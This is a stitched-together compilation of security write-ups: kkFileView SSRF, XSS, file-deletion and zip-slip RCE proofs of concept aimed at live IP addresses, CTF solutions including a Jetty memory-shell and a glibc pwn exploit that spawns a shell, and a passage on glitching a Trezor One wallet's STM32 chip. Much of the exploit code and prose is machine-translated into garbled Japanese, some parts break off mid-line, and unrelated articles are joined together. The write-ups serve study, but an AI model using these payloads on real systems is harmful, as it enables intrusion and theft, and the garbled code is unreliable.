洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 洞证明 cseuzspieeb13847.png d4j5j5pkab313851.png http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn r45k2512yci13853.png e2pnl2pymw213854.png        

0x03 kkFileView XSS漏洞

漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D       http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E vxkadhfxnx413857.png   http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D fhzfy4vkm0j13858.png   <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 2sc5hu2hfcz13863.png

0x04 kkFileView任意文件上传导致xss和文件包含漏洞

漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明

1、上传文件

 

eh3gubz33p013865.png  

 

 

1g4osmdvwds13867.png  

 

2、访问漏洞位置
http://139.9.101.60:8012/demo/2.html

 

me0mdnepcgr13868.png   rmzje3fvj5f13871.png  

2.文件包含:

https://file.keking.cn/demo/test1.js
image
访问:
https://file.keking.cn/demo/test14.html
image

 

0x05 kkFileView任意文件删除漏洞

漏洞描述

kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除

漏洞影响

kkFileview= v4.0.0

漏洞证明

/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 31el1s2l2qw13878.png ceiqsllq5a413881.png

0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞

漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响

任意文件上传
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ueeeeee'
        binary2 = b'hacked_by_1ue'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

img

上传文件并预览

img

img

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意的zip包 上传并预览

img

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

img

可以看到命令成功被执行

img

uno.py中也确实被写入了内容

   

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

1。 pwn

1.nullulllllu

libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。

io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。

exp

PWNインポートから *

Struct Import Packから

ctypesからインポート *

base64をインポートします

サブプロセスのインポート実行から

#from libcsearcherインポート *

Struct Import Packから

TTYをインポートします

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'ctf2024-entry.r3kapig.com'、30371)

#p=remote( '127.0.0.1'、9999)

elf_patch='./chall'

#p=process(elf_patch)

elf=elf(elf_patch)

libc=elf( './libc.so.6')

SLA(b ''、b'1 ')

rl(b'0x ')

libc_base=int(r(12)、16)# +0x6d80

環境=libc_base + libc.sym ['__環境']

システム、binsh=get_sb()

stdin=libc_base + libc.sym ['_ io_2_1_stdin_']

stdin_io_buf_base=stdin + 7*8

stdin_old_value=stdin +0x83

stdout=libc_base + libc.sym ['_ io_2_1_stdout_']

stderr=libc_base + libc.sym ['_ io_2_1_stderr_']

#ステップ2 : printf -stdout -house of apple2

システム、binsh=get_sb()

_io_wfile_jumps=libc_base +0x202228

base_addr=stdout

fake_io=b 'sh; \ x00 \ x00 \ x00'

fake_io=fake_io.ljust(0x68、b '\ x00')

fake_io +=p64(system)

fake_io=fake_io.ljust(0x88、b '\ x00')

fake_io +=p64(base_addr +0x5000)#_lock

fake_io +=p64(0)*2

fake_io +=p64(base_addr)

fake_io=fake_io.ljust(0xd8、b '\ x00')

fake_io +=p64(_io_wfile_jumps -0x20)

fake_io=fake_io.ljust(0xe0、b '\ x00')

fake_io +=p64(base_addr)

SLA(b ''、b'2 ')

SLA(b'mem: '、hex(stdin_io_buf_base)))

#debug( 'b *$ rebase(0x12c3)')

sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

睡眠(1)

SL(fake_io)

lg( 'libc_base'、libc_base)

inter()

Pause()

2。フォレンジック

1.tpa 01

E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します

1049983-20241005123634198-863951153.jpg

実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。

フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。

1049983-20241005123635438-1986591366.jpgしかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。

010 ciphertextを掘り出すだけです

1049983-20241005123636208-712348146.jpg

しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。

1049983-20241005123636839-420522205.png

鍵:

YouTubeでビデオを見るのが好きですか?

F14G:

こんにちはプレーヤー、ようこそ!Ops、それは何ですか?

プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います

最初にキーで言及されているビデオを見てみましょう

1049983-20241005123637427-1989273656.jpg文字列があります。来て、見てください

0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255

たぶんあなたは必要です、それは絶対的ではありません

root:p@5SW0RDFORU 1049983-20241005123638116-1629312263.pngにパスワードが与えられました。 MySQLにログインして、正常にログインしてください。

1049983-20241005123638719-878532988.png 1049983-20241005123639290-416150928.pngSelect * Secretから。1049983-20241005123640012-298815255.jpg 1049983-20241005123640629-927545123.jpg

ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える

実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。1049983-20241005123641303-237871512.png 1049983-20241005123642062-415239806.jpg

2.tpa 02

2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます

image-20240611170304555

最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります

image-20240611170358276

指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。

1049983-20241005123644087-129601060.pngコンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。

次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。

R3CTF {15555215558_L0V3_AND_PEACE}

iii。ミス

1.Blizzard CNが再起動

ShadowEditorを使用

1049983-20241005123644830-198434124.jpg

image-20240611170732676

image-20240611170748000

2.hideandseek

ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです

ルール:

愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。

ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。

すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。

Info: 34.81.163.238を接続します

バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました

image-20240611194137010

NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。

Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです

送信される座標(x、y、z)

newtp x y zログログファイルを直接フリップしてフラグを見つけます

image-20240611194432924

丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です

r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}

3.transit

1049983-20241005123648414-1514241253.jpg

撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}

1049983-20241005123649086-1267414652.jpg

Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU

4.礼拝堂

0.85を超える場合は、間違いなく1です。

frommpwnimport*

p=remote( 'ctf2024-entry.r3kapig.com'、31395)

Foriinrange(500):

a=p.recvuntil(b'top_10_pred: [')

b=p.recvuntil(b ']')

b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')

c=float(b [0])

IFC=0.9:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')

else:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')

print(f'no。{i}={c}、num={num} ')

flag=p.recvline()

印刷(フラグ)

P.Close()もちろん、スコープは合理的に変更できます

1049983-20241005123649655-2063342577.jpg

r3ctf {cain_like_a1_4nd_rec_8772b609d39f}

5.hideandseek

不正行為は数秒です

1049983-20241005123650262-888396391.jpg

非常に優れた村人、私の視点と追跡回転を作ってください

6.h1de@ndse3k

MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。

1049983-20241005123650893-1618764647.jpg CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、

1049983-20241005123651685-445066128.jpgp.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。

または旗を爆破するだけです()

1049983-20241005123652376-1919325320.jpg

7.壁をbehind

defcallback(re):

Re=5

re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {

在過去的四五年裡,圍繞加密貨幣錢包的安全性進行了大量研究。大部分研究都集中在故障注入領域,這是破壞嵌入式系統的常見手段,其目的是找到允許修改設備行為,以授予攻擊者升級的訪問權限。這方面的示例可能包括跳過指令、破壞內存讀取操作等。

故障注入故障注入包括引入足夠小的錯誤或修改以在目標上導致未定義的行為,但不足以阻止目標完全運行。這通常涉及注入高壓脈衝或暫時從目標系統上的目標電源或“軌道”排出電壓。

通過引起瞬間電壓調製(高於或低於預期電壓),我們可以迫使目標系統進入一個未定義的行為領域。有足夠針對性的錯誤可以繞過各種安全檢查或其他可能阻礙攻擊者或逆向工程的功能。

關於常見的故障注入方法,我們可以嘗試引入幾種不同類型的故障:時鐘故障和電壓故障。

時鐘故障對於時鐘故障,我們的目標是跳過或修改指令。這個想法是,通過注入另一個時鐘週期,我們可以讓處理器跳過一條指令。

1.png

當我們嘗試修改或操作特定的時鐘週期序列以獲得我們想要的結果時,這些需要精確。時鐘故障以CPU 或微控制器上的外部時鐘為目標,最終目標是在適當的時間注入時鐘信號,從而導致指令被跳過。

電壓故障電壓故障涉及針對整個系統的電源。通過短暫切斷目標系統的電源,我們可以修改其行為/性能。

2.png

對於電壓故障,我們的目標是在足夠短的時間內降低電壓,以便處理器不會完全關閉,而是進入一個未定義狀態或導致某種類型的未定義行為。不幸的是,這項任務並不容易,因為許多處理器都是專門為避免這種情況而設計的,有時需要攻擊者使用組件移除或註入方法。

如果你想了解更多關於這些方法的信息,可以點擊有關教程、論壇和文檔。

電磁故障注入我們還可以使用PicoEMP或chipshouter等工具向目標註入故障,這些工具以不同於上述兩種方法的方式註入故障。

這些工具用於執行EMFI(電磁故障注入)攻擊。這些攻擊涉及產生可能導致硬件故障的大電場,從而導致潛在的位翻轉和其他未定義的行為。想要了解更多關於EMFI攻擊的信息,請查看Colin O’flynn關於錢包的介紹。

本文旨在重現使用故障注入繞過STM32F2 系列MCU bootrom 中的RDP 檢查的過程,允許攻擊者通過SWD 訪問設備的內部存儲器。

目標設備目標是Trezor One 錢包,這是一款流行的低成本錢包,它是基於STM32F2微控制器構建的。 Trezor的硬件和軟件都是開源的,這很好,因為它讓我們能夠訪問硬件圖和固件源,這將有助於逆向工程。

4.jpg

Trezor One 使用STM32F2 MCU,讓我們先回顧一下CPU的相關特性。

STM32 安全概述在STM32微處理器上可以啟用多種安全功能:

1.RDP 0 ——閃存解鎖,閃存/內存可通過調試接口訪問;

2.RDP 1——閃存鎖定,你可以連接調試器並讀取RAM/外設,但不能讀取閃存;

3.RDP 2——閃存鎖定、RAM 讀取鎖定、調試接口鎖定;

由於我們需要啟用保護級別RDP2,所以我們需要找到繞過它的方法,為此,我們必須稍微仔細研究一下STM32 中的電源管理和調節方式。

STM32 電源管理/調節在任何微控制器中,都有多個電源域(power domain),電源域對於一款芯片來說,其是由許多模塊、子系統集成之後才會發揮它的功能,不同模塊之間的工作速度和性能要求不同,它們為各種芯片外設和內部操作和比較器供電。我們將以內部電壓調節器為目標。下面是STM32電源域的簡要概述:

5.PNG

該圖顯示VCAP_1 和VCAP_2 線為我們提供了通往內部調節器的直接路徑,影響內核邏輯、閃存和IO 邏輯等內容。因此,如果我們可以簡單地操作這條線,我們就有希望影響這些外圍設備的行為方式!

6.PNG

對於這項工作,我們將通過嘗試操作上圖中顯示的VCAP 線來瞄準內部穩壓器。我們為什麼要瞄準這條線?或者更重要的是,當我們轉向其他目標進行故障注入時,我們如何才能找到類似的電壓軌來定位其他處理器?

VCAP 線路確保所有內部比較器和穩壓器都得到適當管理。如果我們可以操作這條線,則有可能改變CPU 核心存儲器和數字外設的行為,並導致未定義/修改的行為。希望這個內部調節器出現的故障(可能在涉及RDP 設置的特定內存操作期間)允許我們修改設備的RDP 狀態。

綜上所述,我們希望嘗試將設備的RDP狀態從RDP2修改為RDP1,我們希望通過故障或短暫中斷VCAP_1/VCAP_2線路上的電壓來實現這一點,VCAP_1/VCAP_2線路用於幫助調節內部穩壓器。如果我們能改變內部電壓調節器的行為,我們就有可能改變處理器的行為。現在我們已經回顧了目標的內部安全特徵和我們要攻擊的電源軌,接下來讓我們談談攻擊的細節。

攻擊過程這項工作旨在重現chip.fail 研究中提出的實踐路徑,該研究導致在STM32F2 微控制器的bootrom 中發現錯誤。對於那些可能不熟悉的人,bootrom 負責處理微控制器的許多早期啟動功能(類似於現代計算機上的BIOS)。 bootrom 負責執行基本的外設初始化、安全檢查、啟動模式檢查,最後將主應用程序加載到內存中並執行。引導過程的概要如下所示:

7.png

如果攻擊者可以在處理器開始執行其bootrom 大約170 微秒後注入故障,那麼RDP檢查就可以被繞過。這將允許攻擊者將STM32 從RDP2 釋放到RDP1,從而允許通過SWD 訪問SRAM。此外,可以通過讀取SRAM 來提取恢復密鑰,從而可以訪問錢包的內容。注意:Trezor 已修復了此漏洞。

攻擊過程如下:

1.開啟錢包;

2.當斷言(assert)RESET線時,開始故障倒計時;

3.在170 微秒時,將VCAP 拉低;

4.通過SWD 測試RDP 繞過;

5.從目標設備讀取SRAM。

8.png

如果步驟4 成功並且錢包繼續啟動,則故障成功,並且可以從目標中讀取內部SRAM。

那麼像這樣的攻擊在信號層面是什麼樣的呢?我們如何知道處理器何時開始執行引導ROM?如果分析新的目標/電源軌跡,將如何進行?讓我們首先從目標中移除一些組件並查看電源軌跡。

準備我們的目標為了確保我們的故障盡可能有效,我們需要移除連接到VCAP 線和復位線的外部電容器。這些電容器(在下面的示意圖中突出顯示)用於確保電壓保持穩定,這是我們在進行故障注入時不想要的。

以下是Trezor One 的默認示意圖:

9.png

下方紅色突出顯示的組件勾勒出了需要移除的電容器。

10.jpg

下面是錢包的圖片,被移除的電容用紅色標出:

11.jpg

